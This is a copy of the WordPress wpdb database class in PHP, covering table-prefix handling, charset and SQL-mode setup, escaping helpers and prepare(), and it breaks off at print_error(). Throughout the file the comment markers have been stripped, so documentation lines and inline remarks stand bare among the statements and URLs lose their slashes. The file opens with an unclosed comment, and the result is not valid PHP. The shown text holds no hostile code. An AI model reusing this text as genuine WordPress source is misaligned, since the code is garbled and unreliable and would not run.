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<?php /*
*
* WordPress database access abstraction class.
*
* Original code from {@link http:php.justinvincent.com Justin Vincent (justin@visunet.ie)}
*
* @package WordPress
* @subpackage Database
* @since 0.71
*
* @since 0.71
define( 'EZSQL_VERSION', 'WP1.25' );
*
* @since 0.71
define( 'OBJECT', 'OBJECT' );
phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ConstantNotUpperCase
define( 'object', 'OBJECT' ); Back compat.
*
* @since 2.5.0
define( 'OBJECT_K', 'OBJECT_K' );
*
* @since 0.71
define( 'ARRAY_A', 'ARRAY_A' );
*
* @since 0.71
define( 'ARRAY_N', 'ARRAY_N' );
*
* WordPress database access abstraction class.
*
* This class is used to interact with a database without needing to use raw SQL statements.
* By default, WordPress uses this class to instantiate the global $wpdb object, providing
* access to the WordPress database.
*
* It is possible to replace this class with your own by setting the $wpdb global variable
* in wp-content/db.php file to your class. The wpdb class will still be included, so you can
* extend it or simply use your own.
*
* @link https:developer.wordpress.org/reference/classes/wpdb/
*
* @since 0.71
#[AllowDynamicProperties]
class wpdb {
*
* Whether to show SQL/DB errors.
*
* Default is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY evaluate to true.
*
* @since 0.71
*
* @var bool
public $show_errors = false;
*
* Whether to suppress errors during the DB bootstrapping. Default false.
*
* @since 2.5.0
*
* @var bool
public $suppress_errors = false;
*
* The error encountered during the last query.
*
* @since 2.5.0
*
* @var string
public $last_error = '';
*
* The number of queries made.
*
* @since 1.2.0
*
* @var int
public $num_queries = 0;
*
* Count of rows returned by the last query.
*
* @since 0.71
*
* @var int
public $num_rows = 0;
*
* Count of rows affected by the last query.
*
* @since 0.71
*
* @var int
public $rows_affected = 0;
*
* The ID generated for an AUTO_INCREMENT column by the last query (usually INSERT).
*
* @since 0.71
*
* @var int
public $insert_id = 0;
*
* The last query made.
*
* @since 0.71
*
* @var string
public $last_query;
*
* Results of the last query.
*
* @since 0.71
*
* @var stdClass[]|null
public $last_result;
*
* Database query result.
*
* Possible values:
*
* - For successful SELECT, SHOW, DESCRIBE, or EXPLAIN queries:
* - `mysqli_result` instance when the `mysqli` driver is in use
* - `resource` when the older `mysql` driver is in use
* - `true` for other query types that were successful
* - `null` if a query is yet to be made or if the result has since been flushed
* - `false` if the query returned an error
*
* @since 0.71
*
* @var mysqli_result|resource|bool|null
protected $result;
*
* Cached column info, for sanity checking data before inserting.
*
* @since 4.2.0
*
* @var array
protected $col_meta = array();
*
* Calculated character sets keyed by table name.
*
* @since 4.2.0
*
* @var string[]
protected $table_charset = array();
*
* Whether text fields in the current query need to be sanity checked.
*
* @since 4.2.0
*
* @var bool
protected $check_current_query = true;
*
* Flag to ensure we don't run into recursion problems when checking the collation.
*
* @since 4.2.0
*
* @see wpdb::check_safe_collation()
* @var bool
private $checking_collation = false;
*
* Saved info on the table column.
*
* @since 0.71
*
* @var array
protected $col_info;
*
* Log of queries that were executed, for debugging purposes.
*
* @since 1.5.0
* @since 2.5.0 The third element in each query log was added to record the calling functions.
* @since 5.1.0 The fourth element in each query log was added to record the start time.
* @since 5.3.0 The fifth element in each query log was added to record custom data.
*
* @var array[] {
* Array of arrays containing information about queries that were executed.
*
* @type array ...$0 {
* Data for each query.
*
* @type string $0 The query's SQL.
* @type float $1 Total time spent on the query, in seconds.
* @type string $2 Comma-separated list of the calling functions.
* @type float $3 Unix timestamp of the time at the start of the query.
* @type array $4 Custom query data.
* }
* }
public $queries;
*
* The number of times to retry reconnecting before dying. Default 5.
*
* @since 3.9.0
*
* @see wpdb::check_connection()
* @var int
protected $reconnect_retries = 5;
*
* WordPress table prefix.
*
* You can set this to have multiple WordPress installations in a single database.
* The second reason is for possible security precautions.
*
* @since 2.5.0
*
* @var string
public $prefix = '';
*
* WordPress base table prefix.
*
* @since 3.0.0
*
* @var string
public $base_prefix;
*
* Whether the database queries are ready to start executing.
*
* @since 2.3.2
*
* @var bool
public $ready = false;
*
* Blog ID.
*
* @since 3.0.0
*
* @var int
public $blogid = 0;
*
* Site ID.
*
* @since 3.0.0
*
* @var int
public $siteid = 0;
*
* List of WordPress per-site tables.
*
* @since 2.5.0
*
* @see wpdb::tables()
* @var string[]
public $tables = array(
'posts',
'comments',
'links',
'options',
'postmeta',
'terms',
'term_taxonomy',
'term_relationships',
'termmeta',
'commentmeta',
);
*
* List of deprecated WordPress tables.
*
* 'categories', 'post2cat', and 'link2cat' were deprecated in 2.3.0, db version 5539.
*
* @since 2.9.0
*
* @see wpdb::tables()
* @var string[]
public $old_tables = array( 'categories', 'post2cat', 'link2cat' );
*
* List of WordPress global tables.
*
* @since 3.0.0
*
* @see wpdb::tables()
* @var string[]
public $global_tables = array( 'users', 'usermeta' );
*
* List of Multisite global tables.
*
* @since 3.0.0
*
* @see wpdb::tables()
* @var string[]
public $ms_global_tables = array(
'blogs',
'blogmeta',
'signups',
'site',
'sitemeta',
'registration_log',
);
*
* List of deprecated WordPress Multisite global tables.
*
* @since 6.1.0
*
* @see wpdb::tables()
* @var string[]
public $old_ms_global_tables = array( 'sitecategories' );
*
* WordPress Comments table.
*
* @since 1.5.0
*
* @var string
public $comments;
*
* WordPress Comment Metadata table.
*
* @since 2.9.0
*
* @var string
public $commentmeta;
*
* WordPress Links table.
*
* @since 1.5.0
*
* @var string
public $links;
*
* WordPress Options table.
*
* @since 1.5.0
*
* @var string
public $options;
*
* WordPress Post Metadata table.
*
* @since 1.5.0
*
* @var string
public $postmeta;
*
* WordPress Posts table.
*
* @since 1.5.0
*
* @var string
public $posts;
*
* WordPress Terms table.
*
* @since 2.3.0
*
* @var string
public $terms;
*
* WordPress Term Relationships table.
*
* @since 2.3.0
*
* @var string
public $term_relationships;
*
* WordPress Term Taxonomy table.
*
* @since 2.3.0
*
* @var string
public $term_taxonomy;
*
* WordPress Term Meta table.
*
* @since 4.4.0
*
* @var string
public $termmeta;
Global and Multisite tables
*
* WordPress User Metadata table.
*
* @since 2.3.0
*
* @var string
public $usermeta;
*
* WordPress Users table.
*
* @since 1.5.0
*
* @var string
public $users;
*
* Multisite Blogs table.
*
* @since 3.0.0
*
* @var string
public $blogs;
*
* Multisite Blog Metadata table.
*
* @since 5.1.0
*
* @var string
public $blogmeta;
*
* Multisite Registration Log table.
*
* @since 3.0.0
*
* @var string
public $registration_log;
*
* Multisite Signups table.
*
* @since 3.0.0
*
* @var string
public $signups;
*
* Multisite Sites table.
*
* @since 3.0.0
*
* @var string
public $site;
*
* Multisite Sitewide Terms table.
*
* @since 3.0.0
*
* @var string
public $sitecategories;
*
* Multisite Site Metadata table.
*
* @since 3.0.0
*
* @var string
public $sitemeta;
*
* Format specifiers for DB columns.
*
* Columns not listed here default to %s. Initialized during WP load.
* Keys are column names, values are format types: 'ID' => '%d'.
*
* @since 2.8.0
*
* @see wpdb::prepare()
* @see wpdb::insert()
* @see wpdb::update()
* @see wpdb::delete()
* @see wp_set_wpdb_vars()
* @var array
public $field_types = array();
*
* Database table columns charset.
*
* @since 2.2.0
*
* @var string
public $charset;
*
* Database table columns collate.
*
* @since 2.2.0
*
* @var string
public $collate;
*
* Database Username.
*
* @since 2.9.0
*
* @var string
protected $dbuser;
*
* Database Password.
*
* @since 3.1.0
*
* @var string
protected $dbpassword;
*
* Database Name.
*
* @since 3.1.0
*
* @var string
protected $dbname;
*
* Database Host.
*
* @since 3.1.0
*
* @var string
protected $dbhost;
*
* Database handle.
*
* Possible values:
*
* - `mysqli` instance when the `mysqli` driver is in use
* - `resource` when the older `mysql` driver is in use
* - `null` if the connection is yet to be made or has been closed
* - `false` if the connection has failed
*
* @since 0.71
*
* @var mysqli|resource|false|null
protected $dbh;
*
* A textual description of the last query/get_row/get_var call.
*
* @since 3.0.0
*
* @var string
public $func_call;
*
* Whether MySQL is used as the database engine.
*
* Set in wpdb::db_connect() to true, by default. This is used when checking
* against the required MySQL version for WordPress. Normally, a replacement
* database drop-in (db.php) will skip these checks, but setting this to true
* will force the checks to occur.
*
* @since 3.3.0
*
* @var bool
public $is_mysql = null;
*
* A list of incompatible SQL modes.
*
* @since 3.9.0
*
* @var string[]
protected $incompatible_modes = array(
'NO_ZERO_DATE',
'ONLY_FULL_GROUP_BY',
'STRICT_TRANS_TABLES',
'STRICT_ALL_TABLES',
'TRADITIONAL',
'ANSI',
);
*
* Whether to use mysqli over mysql. Default false.
*
* @since 3.9.0
*
* @var bool
private $use_mysqli = false;
*
* Whether we've managed to successfully connect at some point.
*
* @since 3.9.0
*
* @var bool
private $has_connected = false;
*
* Time when the last query was performed.
*
* Only set when `SAVEQUERIES` is defined and truthy.
*
* @since 1.5.0
*
* @var float
public $time_start = null;
*
* The last SQL error that was encountered.
*
* @since 2.5.0
*
* @var WP_Error|string
public $error = null;
*
* Connects to the database server and selects a database.
*
* Does the actual setting up
* of the class properties and connection to the database.
*
* @since 2.0.8
*
* @link https:core.trac.wordpress.org/ticket/3354
*
* @param string $dbuser Database user.
* @param string $dbpassword Database password.
* @param string $dbname Database name.
* @param string $dbhost Database host.
public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) {
if ( WP_DEBUG && WP_DEBUG_DISPLAY ) {
$this->show_errors();
}
Use the `mysqli` extension if it exists unless `WP_USE_EXT_MYSQL` is defined as true.
if ( function_exists( 'mysqli_connect' ) ) {
$this->use_mysqli = true;
if ( defined( 'WP_USE_EXT_MYSQL' ) ) {
$this->use_mysqli = ! WP_USE_EXT_MYSQL;
}
}
$this->dbuser = $dbuser;
$this->dbpassword = $dbpassword;
$this->dbname = $dbname;
$this->dbhost = $dbhost;
wp-config.php creation will manually connect when ready.
if ( defined( 'WP_SETUP_CONFIG' ) ) {
return;
}
$this->db_connect();
}
*
* Makes private properties readable for backward compatibility.
*
* @since 3.5.0
*
* @param string $name The private member to get, and optionally process.
* @return mixed The private member.
public function __get( $name ) {
if ( 'col_info' === $name ) {
$this->load_col_info();
}
return $this->$name;
}
*
* Makes private properties settable for backward compatibility.
*
* @since 3.5.0
*
* @param string $name The private member to set.
* @param mixed $value The value to set.
public function __set( $name, $value ) {
$protected_members = array(
'col_meta',
'table_charset',
'check_current_query',
);
if ( in_array( $name, $protected_members, true ) ) {
return;
}
$this->$name = $value;
}
*
* Makes private properties check-able for backward compatibility.
*
* @since 3.5.0
*
* @param string $name The private member to check.
* @return bool If the member is set or not.
public function __isset( $name ) {
return isset( $this->$name );
}
*
* Makes private properties un-settable for backward compatibility.
*
* @since 3.5.0
*
* @param string $name The private member to unset
public function __unset( $name ) {
unset( $this->$name );
}
*
* Sets $this->charset and $this->collate.
*
* @since 3.1.0
public function init_charset() {
$charset = '';
$collate = '';
if ( function_exists( 'is_multisite' ) && is_multisite() ) {
$charset = 'utf8';
if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
$collate = DB_COLLATE;
} else {
$collate = 'utf8_general_ci';
}
} elseif ( defined( 'DB_COLLATE' ) ) {
$collate = DB_COLLATE;
}
if ( defined( 'DB_CHARSET' ) ) {
$charset = DB_CHARSET;
}
$charset_collate = $this->determine_charset( $charset, $collate );
$this->charset = $charset_collate['charset'];
$this->collate = $charset_collate['collate'];
}
*
* Determines the best charset and collation to use given a charset and collation.
*
* For example, when able, utf8mb4 should be used instead of utf8.
*
* @since 4.6.0
*
* @param string $charset The character set to check.
* @param string $collate The collation to check.
* @return array {
* The most appropriate character set and collation to use.
*
* @type string $charset Character set.
* @type string $collate Collation.
* }
public function determine_charset( $charset, $collate ) {
if ( ( $this->use_mysqli && ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) {
return compact( 'charset', 'collate' );
}
if ( 'utf8' === $charset && $this->has_cap( 'utf8mb4' ) ) {
$charset = 'utf8mb4';
}
if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
$charset = 'utf8';
$collate = str_replace( 'utf8mb4_', 'utf8_', $collate );
}
if ( 'utf8mb4' === $charset ) {
_general_ is outdated, so we can upgrade it to _unicode_, instead.
if ( ! $collate || 'utf8_general_ci' === $collate ) {
$collate = 'utf8mb4_unicode_ci';
} else {
$collate = str_replace( 'utf8_', 'utf8mb4_', $collate );
}
}
_unicode_520_ is a better collation, we should use that when it's available.
if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) {
$collate = 'utf8mb4_unicode_520_ci';
}
return compact( 'charset', 'collate' );
}
*
* Sets the connection's character set.
*
* @since 3.1.0
*
* @param mysqli|resource $dbh The connection returned by `mysqli_connect()` or `mysql_connect()`.
* @param string $charset Optional. The character set. Default null.
* @param string $collate Optional. The collation. Default null.
public function set_charset( $dbh, $charset = null, $collate = null ) {
if ( ! isset( $charset ) ) {
$charset = $this->charset;
}
if ( ! isset( $collate ) ) {
$collate = $this->collate;
}
if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) {
$set_charset_succeeded = true;
if ( $this->use_mysqli ) {
if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
$set_charset_succeeded = mysqli_set_charset( $dbh, $charset );
}
if ( $set_charset_succeeded ) {
$query = $this->prepare( 'SET NAMES %s', $charset );
if ( ! empty( $collate ) ) {
$query .= $this->prepare( ' COLLATE %s', $collate );
}
mysqli_query( $dbh, $query );
}
} else {
if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
$set_charset_succeeded = mysql_set_charset( $charset, $dbh );
}
if ( $set_charset_succeeded ) {
$query = $this->prepare( 'SET NAMES %s', $charset );
if ( ! empty( $collate ) ) {
$query .= $this->prepare( ' COLLATE %s', $collate );
}
mysql_query( $query, $dbh );
}
}
}
}
*
* Changes the current SQL mode, and ensures its WordPress compatibility.
*
* If no modes are passed, it will ensure the current MySQL server modes are compatible.
*
* @since 3.9.0
*
* @param array $modes Optional. A list of SQL modes to set. Default empty array.
public function set_sql_mode( $modes = array() ) {
if ( empty( $modes ) ) {
if ( $this->use_mysqli ) {
$res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' );
} else {
$res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh );
}
if ( empty( $res ) ) {
return;
}
if ( $this->use_mysqli ) {
$modes_array = mysqli_fetch_array( $res );
if ( empty( $modes_array[0] ) ) {
return;
}
$modes_str = $modes_array[0];
} else {
$modes_str = mysql_result( $res, 0 );
}
if ( empty( $modes_str ) ) {
return;
}
$modes = explode( ',', $modes_str );
}
$modes = array_change_key_case( $modes, CASE_UPPER );
*
* Filters the list of incompatible SQL modes to exclude.
*
* @since 3.9.0
*
* @param array $incompatible_modes An array of incompatible modes.
$incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes );
foreach ( $modes as $i => $mode ) {
if ( in_array( $mode, $incompatible_modes, true ) ) {
unset( $modes[ $i ] );
}
}
$modes_str = implode( ',', $modes );
if ( $this->use_mysqli ) {
mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" );
} else {
mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh );
}
}
*
* Sets the table prefix for the WordPress tables.
*
* @since 2.5.0
*
* @param string $prefix Alphanumeric name for the new prefix.
* @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts,
* should be updated or not. Default true.
* @return string|WP_Error Old prefix or WP_Error on error.
public function set_prefix( $prefix, $set_table_names = true ) {
if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) {
return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' );
}
$old_prefix = is_multisite() ? '' : $prefix;
if ( isset( $this->base_prefix ) ) {
$old_prefix = $this->base_prefix;
}
$this->base_prefix = $prefix;
if ( $set_table_names ) {
foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) {
$this->$table = $prefixed_table;
}
if ( is_multisite() && empty( $this->blogid ) ) {
return $old_prefix;
}
$this->prefix = $this->get_blog_prefix();
foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
$this->$table = $prefixed_table;
}
foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
$this->$table = $prefixed_table;
}
}
return $old_prefix;
}
*
* Sets blog ID.
*
* @since 3.0.0
*
* @param int $blog_id
* @param int $network_id Optional.
* @return int Previous blog ID.
public function set_blog_id( $blog_id, $network_id = 0 ) {
if ( ! empty( $network_id ) ) {
$this->siteid = $network_id;
}
$old_blog_id = $this->blogid;
$this->blogid = $blog_id;
$this->prefix = $this->get_blog_prefix();
foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
$this->$table = $prefixed_table;
}
foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
$this->$table = $prefixed_table;
}
return $old_blog_id;
}
*
* Gets blog prefix.
*
* @since 3.0.0
*
* @param int $blog_id Optional.
* @return string Blog prefix.
public function get_blog_prefix( $blog_id = null ) {
if ( is_multisite() ) {
if ( null === $blog_id ) {
$blog_id = $this->blogid;
}
$blog_id = (int) $blog_id;
if ( defined( 'MULTISITE' ) && ( 0 === $blog_id || 1 === $blog_id ) ) {
return $this->base_prefix;
} else {
return $this->base_prefix . $blog_id . '_';
}
} else {
return $this->base_prefix;
}
}
*
* Returns an array of WordPress tables.
*
* Also allows for the `CUSTOM_USER_TABLE` and `CUSTOM_USER_META_TABLE` to override the WordPress users
* and usermeta tables that would otherwise be determined by the prefix.
*
* The `$scope` argument can take one of the following:
*
* - 'all' - returns 'all' and 'global' tables. No old tables are returned.
* - 'blog' - returns the blog-level tables for the queried blog.
* - 'global' - returns the global tables for the installation, returning multisite tables only on multisite.
* - 'ms_global' - returns the multisite global tables, regardless if current installation is multisite.
* - 'old' - returns tables which are deprecated.
*
* @since 3.0.0
* @since 6.1.0 `old` now includes deprecated multisite global tables only on multisite.
*
* @uses wpdb::$tables
* @uses wpdb::$old_tables
* @uses wpdb::$global_tables
* @uses wpdb::$ms_global_tables
* @uses wpdb::$old_ms_global_tables
*
* @param string $scope Optional. Possible values include 'all', 'global', 'ms_global', 'blog',
* or 'old' tables. Default 'all'.
* @param bool $prefix Optional. Whether to include table prefixes. If blog prefix is requested,
* then the custom users and usermeta tables will be mapped. Default true.
* @param int $blog_id Optional. The blog_id to prefix. Used only when prefix is requested.
* Defaults to `wpdb::$blogid`.
* @return string[] Table names. When a prefix is requested, the key is the unprefixed table name.
public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) {
switch ( $scope ) {
case 'all':
$tables = array_merge( $this->global_tables, $this->tables );
if ( is_multisite() ) {
$tables = array_merge( $tables, $this->ms_global_tables );
}
break;
case 'blog':
$tables = $this->tables;
break;
case 'global':
$tables = $this->global_tables;
if ( is_multisite() ) {
$tables = array_merge( $tables, $this->ms_global_tables );
}
break;
case 'ms_global':
$tables = $this->ms_global_tables;
break;
case 'old':
$tables = $this->old_tables;
if ( is_multisite() ) {
$tables = array_merge( $tables, $this->old_ms_global_tables );
}
break;
default:
return array();
}
if ( $prefix ) {
if ( ! $blog_id ) {
$blog_id = $this->blogid;
}
$blog_prefix = $this->get_blog_prefix( $blog_id );
$base_prefix = $this->base_prefix;
$global_tables = array_merge( $this->global_tables, $this->ms_global_tables );
foreach ( $tables as $k => $table ) {
if ( in_array( $table, $global_tables, true ) ) {
$tables[ $table ] = $base_prefix . $table;
} else {
$tables[ $table ] = $blog_prefix . $table;
}
unset( $tables[ $k ] );
}
if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) {
$tables['users'] = CUSTOM_USER_TABLE;
}
if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) {
$tables['usermeta'] = CUSTOM_USER_META_TABLE;
}
}
return $tables;
}
*
* Selects a database using the current or provided database connection.
*
* The database name will be changed based on the current database connection.
* On failure, the execution will bail and display a DB error.
*
* @since 0.71
*
* @param string $db Database name.
* @param mysqli|resource $dbh Optional database connection.
public function select( $db, $dbh = null ) {
if ( is_null( $dbh ) ) {
$dbh = $this->dbh;
}
if ( $this->use_mysqli ) {
$success = mysqli_select_db( $dbh, $db );
} else {
$success = mysql_select_db( $db, $dbh );
}
if ( ! $success ) {
$this->ready = false;
if ( ! did_action( 'template_redirect' ) ) {
wp_load_translations_early();
$message = '<h1>' . __( 'Cannot select database' ) . "</h1>\n";
$message .= '<p>' . sprintf(
translators: %s: Database name.
__( 'The database server could be connected to (which means your username and password is okay) but the %s database could not be selected.' ),
'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
) . "</p>\n";
$message .= "<ul>\n";
$message .= '<li>' . __( 'Are you sure it exists?' ) . "</li>\n";
$message .= '<li>' . sprintf(
translators: 1: Database user, 2: Database name.
__( 'Does the user %1$s have permission to use the %2$s database?' ),
'<code>' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '</code>',
'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
) . "</li>\n";
$message .= '<li>' . sprintf(
translators: %s: Database name.
__( 'On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?' ),
htmlspecialchars( $db, ENT_QUOTES )
) . "</li>\n";
$message .= "</ul>\n";
$message .= '<p>' . sprintf(
translators: %s: Support forums URL.
__( 'If you do not know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="%s">WordPress Support Forums</a>.' ),
__( 'https:wordpress.org/support/forums/' )
) . "</p>\n";
$this->bail( $message, 'db_select_fail' );
}
}
}
*
* Do not use, deprecated.
*
* Use esc_sql() or wpdb::prepare() instead.
*
* @since 2.8.0
* @deprecated 3.6.0 Use wpdb::prepare()
* @see wpdb::prepare()
* @see esc_sql()
*
* @param string $string
* @return string
public function _weak_escape( $string ) {
if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
}
return addslashes( $string );
}
*
* Real escape, using mysqli_real_escape_string() or mysql_real_escape_string().
*
* @since 2.8.0
*
* @see mysqli_real_escape_string()
* @see mysql_real_escape_string()
*
* @param string $string String to escape.
* @return string Escaped string.
public function _real_escape( $string ) {
if ( ! is_scalar( $string ) ) {
return '';
}
if ( $this->dbh ) {
if ( $this->use_mysqli ) {
$escaped = mysqli_real_escape_string( $this->dbh, $string );
} else {
$escaped = mysql_real_escape_string( $string, $this->dbh );
}
} else {
$class = get_class( $this );
wp_load_translations_early();
translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb.
_doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' );
$escaped = addslashes( $string );
}
return $this->add_placeholder_escape( $escaped );
}
*
* Escapes data. Works on arrays.
*
* @since 2.8.0
*
* @uses wpdb::_real_escape()
*
* @param string|array $data Data to escape.
* @return string|array Escaped data, in the same type as supplied.
public function _escape( $data ) {
if ( is_array( $data ) ) {
foreach ( $data as $k => $v ) {
if ( is_array( $v ) ) {
$data[ $k ] = $this->_escape( $v );
} else {
$data[ $k ] = $this->_real_escape( $v );
}
}
} else {
$data = $this->_real_escape( $data );
}
return $data;
}
*
* Do not use, deprecated.
*
* Use esc_sql() or wpdb::prepare() instead.
*
* @since 0.71
* @deprecated 3.6.0 Use wpdb::prepare()
* @see wpdb::prepare()
* @see esc_sql()
*
* @param string|array $data Data to escape.
* @return string|array Escaped data, in the same type as supplied.
public function escape( $data ) {
if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
}
if ( is_array( $data ) ) {
foreach ( $data as $k => $v ) {
if ( is_array( $v ) ) {
$data[ $k ] = $this->escape( $v, 'recursive' );
} else {
$data[ $k ] = $this->_weak_escape( $v, 'internal' );
}
}
} else {
$data = $this->_weak_escape( $data, 'internal' );
}
return $data;
}
*
* Escapes content by reference for insertion into the database, for security.
*
* @uses wpdb::_real_escape()
*
* @since 2.3.0
*
* @param string $string String to escape.
public function escape_by_ref( &$string ) {
if ( ! is_float( $string ) ) {
$string = $this->_real_escape( $string );
}
}
*
* Prepares a SQL query for safe execution.
*
* Uses sprintf()-like syntax. The following placeholders can be used in the query string:
*
* - %d (integer)
* - %f (float)
* - %s (string)
*
* All placeholders MUST be left unquoted in the query string. A corresponding argument
* MUST be passed for each placeholder.
*
* Note: There is one exception to the above: for compatibility with old behavior,
* numbered or formatted string placeholders (eg, `%1$s`, `%5s`) will not have quotes
* added by this function, so should be passed with appropriate quotes around them.
*
* Literal percentage signs (`%`) in the query string must be written as `%%`. Percentage wildcards
* (for example, to use in LIKE syntax) must be passed via a substitution argument containing
* the complete LIKE string, these cannot be inserted directly in the query string.
* Also see wpdb::esc_like().
*
* Arguments may be passed as individual arguments to the method, or as a single array
* containing all arguments. A combination of the two is not supported.
*
* Examples:
*
* $wpdb->prepare(
* "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s",
* array( 'foo', 1337, '%bar' )
* );
*
* $wpdb->prepare(
* "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s",
* 'foo'
* );
*
* @since 2.3.0
* @since 5.3.0 Formalized the existing and already documented `...$args` parameter
* by updating the function signature. The second parameter was changed
* from `$args` to `...$args`.
*
* @link https:www.php.net/sprintf Description of syntax.
*
* @param string $query Query statement with sprintf()-like placeholders.
* @param array|mixed $args The array of variables to substitute into the query's placeholders
* if being called with an array of arguments, or the first variable
* to substitute into the query's placeholders if being called with
* individual arguments.
* @param mixed ...$args Further variables to substitute into the query's placeholders
* if being called with individual arguments.
* @return string|void Sanitized query string, if there is a query to prepare.
public function prepare( $query, ...$args ) {
if ( is_null( $query ) ) {
return;
}
This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
wp_load_translations_early();
_doing_it_wrong(
'wpdb::prepare',
sprintf(
translators: %s: wpdb::prepare()
__( 'The query argument of %s must have a placeholder.' ),
'wpdb::prepare()'
),
'3.9.0'
);
}
If args were passed as an array (as in vsprintf), move them up.
$passed_as_array = false;
if ( isset( $args[0] ) && is_array( $args[0] ) && 1 === count( $args ) ) {
$passed_as_array = true;
$args = $args[0];
}
foreach ( $args as $arg ) {
if ( ! is_scalar( $arg ) && ! is_null( $arg ) ) {
wp_load_translations_early();
_doing_it_wrong(
'wpdb::prepare',
sprintf(
translators: %s: Value type.
__( 'Unsupported value type (%s).' ),
gettype( $arg )
),
'4.8.2'
);
}
}
* Specify the formatting allowed in a placeholder. The following are allowed:
*
* - Sign specifier, e.g. $+d
* - Numbered placeholders, e.g. %1$s
* - Padding specifier, including custom padding characters, e.g. %05s, %'#5s
* - Alignment specifier, e.g. %05-s
* - Precision specifier, e.g. %.2f
$allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';
* If a %s placeholder already has quotes around it, removing the existing quotes
* and re-inserting them ensures the quotes are consistent.
*
* For backward compatibility, this is only applied to %s, and not to placeholders like %1$s,
* which are frequently used in the middle of longer strings, or as table name placeholders.
$query = str_replace( "'%s'", '%s', $query ); Strip any existing single quotes.
$query = str_replace( '"%s"', '%s', $query ); Strip any existing double quotes.
$query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); Quote the strings, avoiding escaped strings like %%s.
$query = preg_replace( "/(?<!%)(%($allowed_format)?f)/", '%\\2F', $query ); Force floats to be locale-unaware.
$query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); Escape any unescaped percents.
Count the number of valid placeholders in the query.
$placeholders = preg_match_all( "/(^|[^%]|(%%)+)%($allowed_format)?[sdF]/", $query, $matches );
$args_count = count( $args );
if ( $args_count !== $placeholders ) {
if ( 1 === $placeholders && $passed_as_array ) {
If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail.
wp_load_translations_early();
_doing_it_wrong(
'wpdb::prepare',
__( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ),
'4.9.0'
);
return;
} else {
* If we don't have the right number of placeholders,
* but they were passed as individual arguments,
* or we were expecting multiple arguments in an array, throw a warning.
wp_load_translations_early();
_doing_it_wrong(
'wpdb::prepare',
sprintf(
translators: 1: Number of placeholders, 2: Number of arguments passed.
__( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
$placeholders,
$args_count
),
'4.8.3'
);
* If we don't have enough arguments to match the placeholders,
* return an empty string to avoid a fatal error on PHP 8.
if ( $args_count < $placeholders ) {
$max_numbered_placeholder = ! empty( $matches[3] ) ? max( array_map( 'intval', $matches[3] ) ) : 0;
if ( ! $max_numbered_placeholder || $args_count < $max_numbered_placeholder ) {
return '';
}
}
}
}
array_walk( $args, array( $this, 'escape_by_ref' ) );
$query = vsprintf( $query, $args );
return $this->add_placeholder_escape( $query );
}
*
* First half of escaping for `LIKE` special characters `%` and `_` before preparing for SQL.
*
* Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security.
*
* Example Prepared Statement:
*
* $wild = '%';
* $find = 'only 43% of planets';
* $like = $wild . $wpdb->esc_like( $find ) . $wild;
* $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like );
*
* Example Escape Chain:
*
* $sql = esc_sql( $wpdb->esc_like( $input ) );
*
* @since 4.0.0
*
* @param string $text The raw text to be escaped. The input typed by the user
* should have no extra or deleted slashes.
* @return string Text in the form of a LIKE phrase. The output is not SQL safe.
* Call wpdb::prepare() or wpdb::_real_escape() next.
public function esc_like( $text ) {
return addcslashes( $text, '_%\\' );
}
*
* Prints SQL/DB error.
*
* @since 0.71
*
* @global array $EZSQL_ERROR Stores error information of query and error string.
*
* @param string $str The error to display.
* @return void|false Void if the showing of errors is enabled, false if disabled.
public function print_error( $str = '' ) {
global $EZSQL_ERROR;
